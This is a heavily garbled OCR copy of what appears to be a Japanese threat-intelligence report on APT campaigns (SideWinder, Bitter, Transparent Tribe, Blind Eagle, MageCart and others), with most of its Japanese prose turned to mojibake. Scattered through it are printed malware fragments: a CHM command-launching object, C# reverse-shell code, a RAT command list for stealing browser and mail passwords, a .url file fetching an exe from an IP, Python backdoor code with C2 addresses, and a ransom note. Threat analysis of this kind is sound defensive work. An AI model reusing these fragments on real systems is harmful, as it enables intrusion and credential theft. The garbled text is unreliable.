PECKIO>TI>Ta1—>vX (Confucius) ELTHISNTHED., /\FXI>THESD/\vF> T
SEENRRESNFLUL

ZEIIN—TE B Z—)LEFORZEMT DIHDORBEDERBIR(CHERE Lz Windows ANLT (
CHM) J7A )Lzt L CIREFREIZITVE LI,

3 el Py )

No. F. 5(2)/12025 K.!
GOVERNMENT OF PAKISTAN
MINISTRY OF KASHMIR AFFAIRS AND
GILGIT-BALTISTAN

Islamabad, the 1" January, 2025

Subject MINUTES OF THE 1" INTER PROVINCIAL_AND INTER-MINISTERIA
COORDINATION MEETING ON_ORGANIZING KASHMIR SOLIDARITY
DAY, 5™ FEBRUARY, 2025,

1 am directed 1o refer to the subject noted above and to enclose herewith
approved minutes of the subject meeting held on 26-12-2024 under the Chairmanship of

the Secretary Ministry of Kashmir Affairs and Gilgit for

My

( Ahmed Hameed Khan Jadoon )
Section Officer (K-1)
Tele: 9209820
ksection127@gmail.com

and further necessary action, please.

Distribution;
1. The Secretary, Ministry of Foreign Affairs, Islamabad.
2 The Secretary, Ministry of Defence, Rawalpindi

— - —_

- — — - — — _— — —

[ 38:
P Z—)LEFEOHZEM T D IEHDERERDERBIR(CAEZE LTz Windows NLT T 74 )LOEITEIH ]
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ZHII—T(F. WEHRD Windows NILT D7 AV EEITIDE RATUTMNIL>TIILIT
VEIT(EXE) D71 ILZEITUET,

<OBJECT 1d=| classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7al11" width=1 height=13%
<PARAM name="Command" value="ShortCut">
<PARAM name="Iteml" value=", Inter Ministerial Coordination Meeting,">
</OBJECT>
-J<SCRIPT>
poc.Click() ;
</SCRIPT>

[B 39: Windows NILT I 7 AILICEFNDILD T 7 AOUT hD—EB]

ZE I —T(F. WEHRI AT ATEITUREVIVITTEFTI7AI)ILEEC T, O RO~
O—JL (C2) H—/\—h'BF(TH >z CMD OY> REEITL. BEOHDIITAEITWVLWELRE.

public async Task ConnectAndDispatch()
= A{
try
{

using (TcpClient tcpClient = new TcpClient())

await tcpClient.ConnectAsync(this.homeAddress, this.homePin);
using (NetworkStream networkStream = tcpClient.GetStream())

using (StreamWriter networkStreamWriter = new StreamWriter((Stream) networkStream)

AutoFlush = true
)
{
using (StreamReader networkStreamReader = new StreamReader((Stream) networkStream))
{
string whoAmI = NetworkHandler.GetWhoAmI();
string str = whoAmI;
await new ProcessHandler("kmd.exd"”, whoAmI, "/k echo " + NetworkHandler.selfIdenti

¥
¥
}

¥
3
catch (Exception ex)
{

await Task.Delay(5);
y

}

[ 40: OX> REKXUHIHD —/\—m5F(FE> 7z CMD ONY > RZEITID— K]

Related Events
® SectorE03 used CHM malware disguised as Kashmir Solidarity Day filename
https.//cti.nshc.net/events/view/13436

3) U9 —E04DIIN—T

1> RBUSOIBEZZITTWD/I\WF 2T D)L —TD—DTdhD SectorE04 (&, fhidtz+a1 U7~
PECIO>TYHA RO >4 — (Sidewinder) EULTHISNTHED. RUS>H, 7PAUHD, T2
T PSOEREES. S0F. N\ODISFSa. RNFA ARST, PILSTUT, oD
TSEFP. DAA LTS ML TIVAVUT. wE. PIHZRE>. A2 R B|ILT1T
A=KV B E=D, )\ FREY I, N — AVRRET. T4 UEST
W"SD)\YFIEEBNRRENTNET,
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ZETI—TFE7>r7. BE7Z2F,. HE. FIULSMEERLC, BIRILF— BFER. 8
& O2YILTa 2D, IT. RBE. IKNTIVEEENRICREEE ZIT O,

ZETIN—T(d BECEBHIUIIEMICER L TV EREN S REIOEBEE(CIEAL, &
HEIEDSHDY —ILEY bDT7Y TT L — R ESERREREEIEZ 1T U TITU. R OEh % —
EBEsHFELL.

ZEIIN—TDRERELCRET T4 v 2T XA—) 280 THtEEN. YL T DOCX XEI(C
BASNZUE- 2T L— MMEgEZFA LU CRTFXEZBHNICY D> O— REEFY.

Visa
Nepal Visa (Tourist Visa and Official/Diplomatic Visa only) related information

Visa fees
in PKR
15 Days Multiple PKR. Step 1: Online visa application: Visitors who wish to apply for
entry visa 8,700/-  tourist visa of Nepal can submit an online visa application form
30 Days Multiple PKR. available at the following portal:
entry visa 14,500/~ https.//nepaliport immigration gov.np/onlinevisa-

: mission/application. Please complete all required details.

SN Visa Process and required documents

1

2

Step 2: A confirmation slip will be generated at the end of the
online visa application process. Please save it for your record as well
as for onward processing of your visa application.

Step 3: Applicant is kindly requested to send the confirmation slip
as well as the following documents (in pdf format) to Embassy’s

email eonislamabad@mofa.gov.np or eonislamabad@gmail.com

a. A copy of bio-page of your passport
b. A copy of CNIC (for Pakistan Nationals) or national ID

c. Ifyou have already visited Nepal, copies of visa and
3 90 Days Multiple PKR. arrival/departure stamps showing vour most recent travel to Nepal.
entry visa 36,250/
d. Other supporting documents like sponsorhip letter (in its
absence, bank statement that shows transactions of at least past six
months and a copy of hotel booking)

Step 4: Emails thus received along with the above documents will
get a response generally within 4 working days.

Step 5: Visa applicants will be notified through email to visit the
Embassy on work-days (Monday to Friday) from 9.30 am to12.30
pm with their original passport, a printed copy of the confirmation
slip, sponsorship letter/bank statement and a copy of hotel booking
and other relevant documents, if any_ Applicants will be advised the
date and time of passport collection while submitting the original
passport for visa. Applicant concerned should collect his/her
passport with visa in person from the Embassy. The processing time

(B 41: R/)\—)LEYEAX(CAELZYILD T 77 DOCX XEDFEATIEH]

Targe-tll'1ode= :

(¥ 42:
FIN=ILETERXICARE UIZXRILI T 77 DOCX XE(CHEASTNIEUE—- > T L — MNEEI—
]

AD> 00— RENJz RTF (&, BHULESSHETH S CVE-2017-
11882 #EAL T3 T)LO— RZEETL. ©7DE, /\wo RF7O—4— (Backdoor
Loader) & XF« —Z—7hw I (StealerBot) &WLWDVILD T P ZEEHENICA > A M—=ILUET,
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IS AFT04—3

BUTHREWRS AT LAZEIAN(CER

—Ry ME. T7AILOBE. AOU—>>3v hOFvIFv, F—0OF>.
S 27 NEIROUER EDMEEZERZ Te/RA RIOXTOA MY —ILTEH D,
SR U, HERERE RGN CRESE S ENTEFET,

ZETII—TFTnz

S4| local 3% = DAT 130070033 +~ (ulonglong)auStack Z2ad;

55 Ad:lwectcredExceptlanandler{l (EVECTORED EXCEFTICON HANDLER)&LAE 130002310);
56| eWar7 = fopen_s(slocal_ %93,

53 "levtlevt.lnp

58 s &+ b H

58| if (eVar7 != 0) goto LAB 1300052e4;

60| FUN_ 120036434 (local 92,0 ;

61| uVar® = FUN_180036%=2(loc

62| iVarl = (int) (uVar9 & Oxffffffff);

63| _DstBuf = (undefined4 *)operator new((ulonglong) (iVarl + 1)}

64| FUN l°3]3c434{ ocal 88,0,0);

65| fread(_DstBuf,l,u OxfEEEEEEE, local 98)

66| FUM 1°|j|:|35e24{_ 1_38)

67| uVar2 iVarl - 0x15;

&8 D 0 = {undefined (*) [32])operator_new({ulonglong)uVaris):
69| puVarll = (undefined4 *)operator_new(0xl5):

[ 43: )Ny o RFZO-45—-<ILITT7]

ZETI—TF BEENZRA O— REEEEEUAICE
DFsiEtE BN ZREL TVD T ENHFHT I,

Related Events

2 U CBEMI BIFERR(CHIE L. B

® SectorE04 used Word malware disguised as Seoul Tech Scholarship Recruitment

document
https.//cti.nshc.net/events/view/13075

® SectorE04 used a new Domains
https.//cti.nshc.net/events/view/13247

® SectorE04 used Word malware targets the Maritime and Nuclear sectors

https.//cti.nshc.net/events/view/13286

BEREILTAN\—BEATRENB. B, JHEZEEN (CRNICLTED, mrarHX
URE7ZZT. BH, 7IJYUALLEDE LS KUYIREFICH T 2 ENTEE (CIBINLEL
2o SOF v IAR-2EFRERFHIRILF—EEDRNZERNCIRELFE Uz, OFEIE
. CVE-2017-
11882 =BT DEEDH D DOX MI T 7 A IZEVRET T 1 v 20X —) =6
UT. SRR TOCRZRMIBLELUZ. CNICKD. [N\yoRF7O-4—] & [AF
—Ry b A>T 5> MO ERMEN. LERS AT ARENAIRE(CIRDFE Uz, BE
&%, Malware DZEFEA T JavaScript #Fbd LUFHIHI I O—F18/E (CFL) ZS0RE
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gt EE e R UE Ufc, BERERECE. YE—- 2T L—RNEA. RTFEFIAL
7z 1)L3J— RIXE, mshta.exe

Windows 1—7« U1 OBRANSENTLE U, Fz. BRHYLA Malware B> )L
ZEALUTRREZ#F I D2 ET, BF1 VT VI DT VOB (CH T S AUR/DEE
HaRrRUELUR. CORBEDIO—/)VVRESERIITZTEIZT bDA>ISICET
IEARUTHD. TNEPTESNIHHRR DB RIS 2 RBRL TWE T,

SectorE04 used Word malware disguised as Government document
https://cti.nshc.net/events/view/13571

4) €95 —E0SOIN—

1> RBIFOZIEZZITTWBRI\WF>2T0)L—TD—DTHD SectorE0S5 (&, fidtz+Fa1UFT o
TECL>TES— (BITTER) £LTHIBNTED., RUS>H, DTS5,

R TRSDI\Y F U TFEHERENE U,

ZETI—T(F. BEBRBREE(CHRELEYoO0VI hD—R (Word) XEZRXEF7Trv>

SOA—) 2B ThML. WEEEHZEITVEL,

KW, )G

FZETI—T(F BEHRICHUTRAET T4 w2 I RA—)LDAXZEBL T, 2025 F 2 BREED
BEBRREEOIE—(CRHAET DIRNT TRI I 7 MILZR< LS ISBEELF L.

governor <governor@cbsl.lk.hluttaw-govmm.co>

Monetary_policy_report_2025_february

rrrrr

Message | @ Monetary_policy_report_2025_february.docx 520 KE)

[WARNING! This is an external e-mail. Do not click on attachments or links/URL unless sender is reliable. Malware/ Viruses can be easily transmitted via email.

Enclosed please find garding copy of M v Policy Report - February 2025

Sd/-

Dr. P. Nandalal Weerasinghe
Govemor

Central Bank Of Sri Lanka
Email: governor@cbsllk
Tel: +94 11 2477477

[B44: RET T4 w2 A—=)LAX]
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‘ YEARS

MONETARY

POLICY REPORT
FEBRUARY 2025

§)) Bevmiens wHHL eukidl
¥ CENTRAL BANK OF SRI LANKA

[X 45: BEBCRIREE(CAEUTZ Word XEDRITEIH |

ZUI)I—Td. WBEHRIATATI—RYEERTIDE, XECBASNEUYUE-N>TL
— MeEREZ AU C RTFXEZEHEMN(CA D> O— RU. E1T79 DT ETERREDIZSOHDEBIHE
FEFUE,

#f" TargetMode="External”/>

es" Target=

[ 46: BERERE R CBEINED— RYBCEA SN UT— h> T L— NEET— K]

Related Events

® SectorEO5 used Word malware disguised as a Monetary policy report
https://cti.nshc.net/events/view/13155

® SectorEO5 used LNK malware disguised as Invitation document exploits RARLAB
WinRAR vulnerability
https://cti.nshc.net/events/view/13248

6. SectorGDZIEERZTTZI\YF I DI —T DiEE

NSHC©2025 All rights reserved.



https://cti.nshc.net/events/view/13155
https://cti.nshc.net/events/view/13248

Cyber Threat Intelligence Report

1) €95 —-G01OIW—T

LI\ B DOXEZEZ T TVDI\WF 2T T)L—TDH T, SectorGOL(HBDTEF 1 UF+ BEE(C
KD TH—=2 - hHSH)L (Dark Caracal) EBMIN. RRXTS, RITHHAE. 7AUB.
Ry, FU, DO EVTHESOFESHNERENEL.

TDIIL—=TE. FHTZICRFE UTzPoco RATNILDO T 7ZFA LT, ST P AV HDDRANRA > 5EE
DEAR ZRICHE BB ZITVE U,

ZED)I—T(FSEFEE T, V—ILEEMiomAZELEE. K DOEETRRNRIEIRINEZB18
Lz

KBOHEFRGANRA VEBBTENMIIZT A YSIIRA—ILTT, TOX—)UC(E EBEOHERSELR
HNNESRE (R SNIENILD T PPDFXENRISNTE D, WERNRNCNZHET D &  rev”
P=HATIT7AINFI>0—- RENET . CDI7—H-TDABBIC(EDelphi TR SNz ROw
IN=DEFENTHD. ETRICS AT AlCPoco RATH A > A h—=)LEanNFxE T,

W——— ] e L e e e e -

Descargar PDF

Contrasena: 6060

[B 47: ANRA R TS NIZIBATFES (TR UJZ PDF XE DRI TIHEH |

> X h—=J)LEnizPoco RATIE, T7MILDF7yTO—-RELUFI>O-R RTU->23y
ROFvTFv. AN ROET. SAFLATOCRDFHIRE, cHHLDHEEZEITL. TFa
U4V 1—>3>0@tzEEg 3z (C. RIERIROIREE KUEREAMEREH SN TLET
FERENG. ARXITS, FU, JOYEF. IOV RILREOBAFERE. REDZE. EERRE
T9,

ZEI)I—TF. BEDOREIT S RPOXEIT A - bR TR LU TREWNROERZFEL
. CNZEIE U T FERNFIZR OGRS KUEEMEEZEOGEZERA L KD ET5EMNZR>TL\D.

Related Events
® SectorG01 used Bandook and Poco RAT Malware being distributed via a PDF file
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https://cti.nshc.net/events/view/13156
LWL T 7 T3HSD Poco

RAT ZHIAUZIREF v > R—HETRTHD T ENASHNCTIREDFUZ, ZDF >
—2(F 2022 F(CHIESN. EICST2TAVNDDIARA VEEERBZHRELTVET,
Poco

RAT [ CH+NR—XTHFESNTHD. T7NLD7yTO- R, ROU->23v bdF
vIFr, AR ROFET. SAFLATOCRDEBRFEIRE, [LEIRA) ARz MR TLE
T TDEIBPARINAXENZY—ILEFERL T, oS/ (—BFREEEREZRD
THED. FEDIMERIC Poco

RAT DX SIMIREDNILD T 7&ERTD—7T. Bandook XR—AD/\w U RF7ZKREIC
Bt LCTWET,

CDRIBBBEFECARAZEBTENMIZ T v 2T A—)L=B L TITH. PDF &/
(& HTML T2 DI SCE (S (MBOBREVPEREG BN ZFN TVE T INSDOXE
(& Adobe Acrobat Pro

DC > Canva DELSRY—ILEFRUTER SN, AFF7—F3HDFER. [trabajol (
ARAZEET [FEH] ) LUV EfERBERNRRINF L. #HEBNINSOXEZR
&L reviiaRFEFFD WInRAR [EHE D 71 ILABEIN (CH D> O— Ran, cnldte+a
U REZEB T 3FEREVTERSNE T, COXDIREEF T — 2 (FHREBMENDOT
E5Y EFENRY-—EXZBALTIILI T 7RAO— REXREUFITTVET,
CDXRSRBRIFWIRME(CHHLT DIeHIC(E. T w2 I A—)LICH T DERZREL. R
I 7 NPV 00Uy I BRTERZILN. TFIUFTa V)1 -3 >ZRHD
REE(CHRDZ LT, BIADVILD T 7POWENRTS — (S0 T AR LB iilERE I D EN
HOFETF., Fe. MOLWEBOERZ®EL., 1Y -—HBZEBLTY—>vILI>>T
TYUIFECH T DR HERmDDEEEETY .

7. SectorHDHEEZFBI\YF > DD )I—T DiEED

1) €949 —H039)IW—7

I\ FZYBRDOZIEEZITTNDI\YF>2IT)IL—TDHR T, SectorHO3 (FhdtzF1 U1
ELFEO>THRTARTL> b - S4T (Transparent

Tribe) ELTHISNTED. 4> R 8BE. S>HR—IL. ZPAUDTESD)\vFI0EENF
REnzxur.
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ZEII—T (. A2 RHREEFS — hDx+ (ICEGATE,

icegate.gov.in) BEOETA v IOA=)LZBLU T, JavaR—ADTIL I (JAR) =AY
DWEEEZITVE LI,

TDA—)UFIREE(C ICEGATE BEDARBIRZE O LAY E—2ZXEL. A—ILAXICIZ (55
SkEMESRA PDF] (CBARSNIZEBHNEFENTLE U,

WEWRNCOEG RZIUYITDE, [EESNIZ ZIP 7—hA T T 7L o> 00— REN.
TDHRICE 2 DDRILIT 7 IAR T7AILNEENTNET,

CDT7AINZERITIDE. SAFTALCVUE—POERE MOACDAKRE (Remote Access
Trojan) &IERGEWEREZRATTNILD T A A M—=)LEeNFzT. DHTOER. oL
T>ITSOTDOERIBIR. Ty aovF— F-ANBERREZNEL. WEENEET DOV
> RO ~O-)L (C2) =)= (LT —F&EELET,

= static {
"update";
"reboot™;
"shutdown";
"disconnect";
“uninstall™;
"remote-cmd”;
“power-shell™;
"file-manager";
“processes™;
"h-browser™;
“startup-list";
"remote-screen™;
“rev-proxy"™;
"hrdp-new";
“hrdp-res";
“chrome-pass";
"foxmail-pass";
“outlook-pass";
"fox-pass";
"tb-pass";
LLATORTIxDEMO = "ie-pass™;
"all-pass";
"save-all-pass™;
"chk-priv";
"req-priv”;
“rw-encrypt"”
"rw- decrypt
"show-msg";
“screen-on";

216 I £ 18 1% 1< [ S 10T 11D (@ 00 R 0 e T - O 1=

LU LA | (| I [ [l R N (A || (Y N I (A NS | A (| B B |

-

[ 48:
UE— b O+ ORES KOBIRGEWEE 2R CXILIO T 7DYUE— IV RUX ]

ZEDVIVDITIE. A= TPy ITITAIA CEEZEBRL. KERICBSHETEINDLDISHE
FRCETHEHGEEZHERL. MEZEEIE T B2 (C Java 5> ARIET javaw.exe Zi@ U TET
EAEER

ZET I —T FHEATHERID R XA > &R\ ZEBDERZF T, NERY ND—IONDBAB IV
F—AYOHEEEN LTS,

Related Events
® SectorHO3 distributed JAR-based RAT malware through Phishing email
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https://cti.nshc.net/events/view/12915

FREDY AN —BREBHFCIE XA—ILTA VS TFv R-NEFENTED, BEEG
BRI > RIBFF R X1 > Ticegate.gov.in] Z#XT—TJ 4> LT, JARR—XDUE
— h7OERBNOADOARE (RAT) EF—FHBMNILD T 7ZEMUELRZ. CDOX—IL
(X PDF RO EENIRECEFBRENEFTN TVD LD THEESNTLELE. LML, &
27 AIVEDOUY DT D ERAT ZET DBEDH D RAA > (LN Y LRIl
BT U=, JAR J7-7JL [Shipping Bill 2625182 dated

2023122024.PDF.jar] & [ENTER.jarl (&Java ZERHUTETSN. RI—KFPvITT
AIFICBEZREL. ON¥> R&I> bO—)LP—/{—RX> Tiyiochalogs[.]Jmyddn
s[.Jcom] (Z DNS MO UZITV, YILD T 7 OFGEZEBRUE Uz, C2 5 —/\—HE
BEURRD D efeeh. T2 RRA > hERIMEREENDI Z LEBhiNELEN. BEERAT—
TA 2SN RAA> D SPF S KU DMARC L O— ROXRWIZEBRALEUZ. STR-
RAT U THERSNZCORILD T 7 (d. TSOYFT—F%&RH». VE— IV REE
TCEDED. BARYAI)N\—tFa1 U HEZSISECUELUL. CDLDR77T0—
FlE > RBUGHBIWIRITZ R E UTEUBIORE TR N/ (F -2 E—EHUTVE
ED

® SectorHO03 used CrimsonRAT malware variants
https://cti.nshc.net/events/view/13249

® SectorHO03 used Android malware disguised as India Post App
https.//cti.nshc.net/events/view/13438

® SectorHO03 used Malware disguised as a Password document
https.//cti.nshc.net/events/view/13657

8. SectorSDZIEER(TB/I\YF>I VI —T DiEE

1) €945—-S019)\L—7

REXTLSBHRDOXIBEZEZITTND/I\YF2II)IL—TDH T, SectorS01 (dhdtzF1 U+
E(CLDOTISA> Ra4—=2)L (Blind

Eagle) £LTEBHASNTHSD., JOET,. XFSO, /1FUXTHESDEINRRESNELUE.
ZHJ)L—T1F. WebDAV S KU GitHub Z5EFR L T. Remcos

RAT &L TAIBND UE— MlINILD T 7 Z2Em I 2 WEEB =T FE U,
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ZEDI—T FEEMRIC [url] T7AIDEFENZT 4 v 2 IRA—)L&2ED, BEWHRNAZD
J7AI&ERITITDE. WebDAV —/{—m545D7>0O0-45F-—N5F D> 00— ReNEd,

[{009862A0-0000-0000-COOL-00000RRO5986} |
Prop3=19,2

[InternetShortcut]

IconIndex=11

IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
IDList=

URL=file://\\62.60.226.112@80\file\2430 1471.exe

HotKey=0

[B4 49: “.url"Z 7 JLOD WebDAV H—/{\—45>0— K1— K]

ZESYI>O—-4~F—(F ORI O-)L (C2) H—/)\—&BELIE. GitHub URS KU
NS EAENRA O— R T3S Remcos

RAT ZZ (TERDET L. RS AT AL T D UE— MIHZESLUET,

GitHub URS MU, BH0)L— Tk (R O— REEFH LTV Dzed. B EREES KU
A O— ROBREANI 7 ILIA L TITOHNTVNET,

Flz, BEA 2T SATIESSH F—MROBUERASNTULDIIRRMEZ SN, ZDT)IL—TDE
BAAEN—B U2 ISEETITON TS ZEZRULTVET,

Related Events

® SectorS01 used .url Files to distribute Remcos RAT malware
https.//cti.nshc.net/events/view/13527

9. Sector)DZIEEZITDI\VF I I —T DiEE

1) vO45-10190)\L—7F

HA NI FR/\YF 2D I)IL—TDHT, Sectord01 JIL—F(FthdttF1UF « BE(C K> T FIN
7 ELTHISNTSED. PAUBDPIST NTHESDESNEREINFE LU

ZHJ)L—T & IEER Python XU T ~EXIVDI T 7D Python XU e —HE(ICIEMEULIEE
M7 EBRmUELUR. EHT7-1JLOREB(C(E [Mail_Sync_Console.exel EWS T 7L
BEFORGTI 7N EFENTED. INZBU TA—ILEBRY —ILICEETZTOST I KT 7
TILICREMNITZEDTSNTNET,
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DLLs
Lib
[# confpy
# Mail_Sync_Console.exe
f#1 Mail_Syne_Console
% msverl00.dll
2 pyexe
< python.exe
% python34.dil 2015-12-20 2.5 7:28
R pyw.exe 2015-12-20 05 72

[ 50: X—)LREHERY —)LICRAET D TOT U I 7AILICTHER UIZEME D 7 1)L ]

¥, SNBERIVITTZROUT MDIT 71 )V&% Python 7O T NT—HRICER NS
ET7 1)L [conf.pyl ([CHAREL. WEMRMNERREKR I 7 1ILERFBUTEITIDLDICHEE
LEUE.

CDAIUT M. AES PILTU X LZERLU TES/EaINRAO— REES{EL. E5{tan
=97 IJ7MIILEVUTREL. eNEY I JOCAZE L TEITI ez RZUET,

Load(

[ 51: )"V RTUT bD—HER]

tEeoTdOtvR=EO T, /\w2 R (Backdoor) 1 TDXILI T PHETSIN. CHOIILDT
T IHEWRS AT LADOUE— N, TJ70ILDAF D> O—- RBLUT7vIO— R, RIEZHIER
DUE, LA NUKREDIRERE, SFIFMMELHRITI D ENDIHSNTLET,
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ROTOCOL_ID = 101
-2 servERS = ['39.134.146.207, '5.252.177.245"]
jc2_poRTS 3

REGISTRY s
[BASEG4_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVIKYZa
sUBSTTTUTION KEY = '

=N

sOCKET_0BJ = None
\CTIVE_SERVERS = []

ket change directory(pathy:
try:

return b"[-] " + encede_string(str(e))

lae€ cownload file_or_dir(path):
try:
if os.path.isfile(path):

amedTemporaryFile (delete=False)
File(temp file, 'u', zipfile.ZI
os.walk(path)

©_DEFLATED)

ile.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.join(path, '..")})

with open(temp_file.name, "rb") as file:
data = file.read()

encode_string(stz(e))

[ 52: /0y RPRILI T FDY—X D— RO—E6]

[C2 Y—){—]
® 38[.134[.148[.20
® 5[.252[.177[.249

Related Events

® SectorJO1 used Python Backdoor Malware
https://cti.nshc.net/events/view/13363
iz (CER =Nz Python R—XXdD~ )LD 177 [AnubisBackdoor] (. Windows. Linux

. BELU MacoS S RFLZMRE UTzH A/ —KECEBHN(CFIHAESNTVWET, n
SOWEF. BRABHDOBR I —(CLDVILAINLF v R-2ZBUTEITEINE
9. CORERN\YIRTE. UE— IV ROET. BRBEROGE. SXU0RY
D—ONDEARBOBEBEBBICLET . CONILDIITTIE. #&EZEE T D 2T
REFEAMZEERAL. SAFTALASTIIVEECTIONY RZEERITU TR Z R UET

o EAENTZE/RX MITRE ATT&CK #iif(C(E. PowerShell & KU Unix
Shell ZiB U=~ > REST (T1059. T1059.004) . #FLB RV T 7rI)L7 01— R%=
BUZBAEEREE (T1027, T1140) | RIFSNICERIGHRZAF v > U TERIGIR(CT D
X923 (T1552.001) REMNHDFET, AV R&I> hO—J)L (C2) B—)\—&DiE
E&. Dz J70bLEES{bEnzF &)L (T1071.001, T1573) Z&FERALTITO
NE9. CONYIRP(E. JORTSY hTA—LHERE L RERIFEICKD. hVigbd
BREILIZDET,

® SectorJO1 used Python Backdoor Malware
https://cti.nshc.net/events/view/13609
REDDHERICLD & EENEMEZIFDI)IL—-THER IS [AnubisBackdoor] &

LS Python X—=ZD/\y T R7ZFIR LS A/I\-KESPASHNIRDELLZ. D/
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W RT(FECEMBRIORAEY T E2RZFENE L. [conf.py] ZEE Python X
DUTMEFENIEZIP I 7AW EERM T D IS 2 OF v NR—2"8FETUET, &
DBE(L. AES B§S1k. SHA-

256 /\wv>1ft. BLUHRS A Base6d T>A—F+ I =FRAUEBERBSILD X
UIES{tidfizER U TREZEE UIRND S/ \w O R77ZEMULEFET. CDOXILDTIT (&
 AZ-OSAEEPREN (CRELSE2ZEHELRE. BEten#G iz ERL
THMZEHCUET, I\ I RFOEELHEEIC(E. HTTPZNTLIzRYy M-85
. D7 AIUEE. O RET. BEKY Windows L NUOIEIE%E U feiFHiE it
Bt DET ., Fio. BINBROEHR. J7 D7y ITO—-R, BRULESATALAED
HEERDEOHDHRASALATIRY> RIO NDIVIREDHEEBIRMLET .. AnubisBackdoo
r(d. WEEES LUF —FREDIZHDFERENIZY —)LOHBKRBITH O, £+
T RS KOELEEER (R DRV ERRZ RLUTULET,

2) EUH5-10600V—2

HA\=BFR/\WF>TT)IL—TDH T, Sectorl06 J)L—T(ddtzF+1UFrBECKLO>TI v

H— R4S~ (Wizard

Spider) £LTHIBNTED. RV, PILEF>, AFUT7THESDEBHERENFE LI,

ZET ) —T FEENFRZRERITDICHICES TSP AT T (Monti

Ransomware) ZiLEILFE U,

15 FREMRDI AT ADFT —FZESE LIz, WEMRICT YA/ — @l TRteNn:

AZAZRAACTOLEAL., ESEBRDILANCET RSP ZITDORIMMALE L. T,

S2HY A — NTESIEBERZZIMDIRWNES. BAILT —FZNENCAMT D BB T D &
(HFINITOAR=23>) RRODREZITOEEDHESNTVET,

[ 53: €27« S>>HYADx77(Monti Ransomware) S>H /A — K]

Related Events
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® SectorJ06 Conducts Targeted Ransomware Attack on Defense Contractor
https://cti.nshc.net/events/view/13107
2025 3 A 3H. VIILEFCDOEEERES{ESR THS Fabricaciones Militares
Sociedad del
Estado (&, MONTI S>HBAD T 7O —T(CXZVAN-KEZR I EZHRUE
UTz. COEMHE. FROBEERA” > I SZIEN & UEROFRANIMEESHDO—DOTH
D, ERTZEERERY bDJ—D D55 (CH T DRABESZ5 ISR ULEL.
WEEE. VMware
ESXi{RIEIET S v T A — AlCERE{ L SNz MONTL 5 >5 A 1 770 Linux &% &R
LEUTc. ZDT2HYADTT7(d AES-256-
CTREES(EZERL. /\ ATy RF—EEIXFLAZREL T, O—NDILZRFTALAER
BEMNEEI DIV RO bO-IIY—/\—TIES{EF—2nEILFET. 1.048MB
N5 4.19MB DT 7 1 )UFRAID 10 /)1 bES{ESn. ENEKD/N=WT 7 A)L(F
2RT 1 XTSI ZEZITE UL, BS{EEN/ZT 70)LIC(E [.MONTL] #EsRFHIEMS
N, FIJ7AI)UICIZE 256 /A bOWRBEFRF—HAB N TWELEL.
MONTI OO — RR—X[F, BEEL Conti S>BADT7IIL—TOREBLIZY—Xd—
REMNRDERSTED., ALIHVADTITF>TL—hE TORR—ADTREB KLU
YA MEFENTVET,

3) EU5-310990)V—7

HA)\—IL5E/\YvF>TTIL—TDH T, Sectord09 J)L—F(EthdtzF+ 1 UF 1 BECK D TAA
ZH—b (MageCart) &EULTAHISNTWLET,

DI —TF. BFEEEID T IYA FORBER—HEFTFRICTILD T 70D JavaScript ZHEA L
FUlz. BESMEAULLROUT ME. - D AN UERFEHRZ IV R&d> hO—)L (C
2) U—\—(OXETDMEEERI DRAF I IRTIT b THD T ENERSNTNE Y. ZNUCK
D, ZHIIL—TFH— RES,. BHR. CVC O— RRE., RBFVR(CERSNIEZDERLE
HwEWNELZEDTESNTVET,
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00 24 hour Breakdown & Recovery in London, Herts and Essex 02088689988 020 8868 9997

SUJ)

About Us  Our Servic:

HOME > RECOVERY TRUCK SALES

Recovery Truck Sales How can we help?

35T and 4x4 Recovery vehicles P Fmer ) R o e

ur website. Learn more Gotitt

> (Skimming) RO U T hMEA SNIZEFEBESI DT Y+ hd—EB]

[K 54: XF+=

Related Events

® Sector)09 used new Domains for a FormJacking Attack
https.//cti.nshc.net/events/view/13076

® Sector)09 used new Domains for a FormJacking Attack
https.//cti.nshc.net/events/view/13250

® SectorJ09 used new Domains for a FormJacking Attack
https.//cti.nshc.net/events/view/13510

4) €UH5-131D9IW—TF

HA)\=ILIR/\YF>2TTIL—T DR T, Sectord31 J)L—F(IthdtzF1 U 1 BEE(CKD> T UN
C2447 ELTHSNTHED. TS ATHESDEENFERENE L,

ZHI I —T FEENFRZHIR T D/2H(C Hexalocker S B AD T 7 &EMUE L. #5(&
SH A/ =BT Tox BKU Telegram D ID ZiRHE L. WEBNEIECNSDAVEZ v —%i@
UTESIEERICRE I D&M EDSNDLDICHMALE L. F/Z. Monero lESBEZEL TE
BILERZXIAD K DBERUIZZ ENERESNTULET,
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00000600006E0046 atexalockerlock db "Hexalocker | Lock. Demand. Dominate. | Since 2024,0ah
| coceecee DA ReadHerile+CClo

db "~ Your data has been
db *- It will be published onlin
db * ransom 08k

an
d exploited if you do not pay the’

db ">>>> what guarantees do we provide that we won’
db BE2h

db soh

db "Tox ockerSupp: A408F8BAGDBSEFEB2OA315CA5T2117E753FAT1B4TAF"
db "DF37E@AIBIEF6FFAS530547680628F8134 ', BAh
db *Telegran ID: GZZARTZXX / @exalockersupp',0ah

oah
db "HNID Tutorial: Open CMD and type “wmic csproduct get uuid”",0ah

h
ro Wallet: Tf you don'

[K 55: Ao 0OvH—5>Y A 177 (Hexalocker Ransomware) S >H /A — hD—EB]

Related Events

® SectorJ31 used HexalLocker Ransomware

https://cti.nshc.net/events/view/13073
2024 3R, Hexalocker EW\WD S AD T 7 ZFRA UIARRRS A I\ —BRNEB LUE

LTz TOS Y AT T 7 EE&ENFIRERN (CHRPDPEEIZEN & T IBREEOE
T, BEEWUA/)\—E#EBEL TLET, Go TOJS I SE TR ST Hexa
Locker (. J71)UES{bET—FRBEVWD BT O—F =2 FEALET ., AES-
GCM-

256 ES{biEEE & PBKDF2 R—XDF—ZHHah . BS{benizcI 7 -7)LIC [.hexal
ock] HRFZENMUEFT . COT>HTADTEC2 (AY>RII> <O—)L) B—)X
—CBELTHRZEZITRD., COFvrRILEBL CGRMESNE I 7 ILIES{bREDT
SERITUET,. $F(C. Hexalocker (& GoDefender DL S —)LEFERL T/ W
B SLMERIBZIRE LA DtEeERE L. DORAZEILETDCETS YA
DIV OFEEERIELE T, REEFBRESILAVWVZERT ISP A /- MMIEFEN
DEFERZIE L CEROESBE TEBREZIAD L O@El =N, BRMEZ SR
WSS, A S > TT—INRRI DalReMEND D EBBENET. COFvR—>
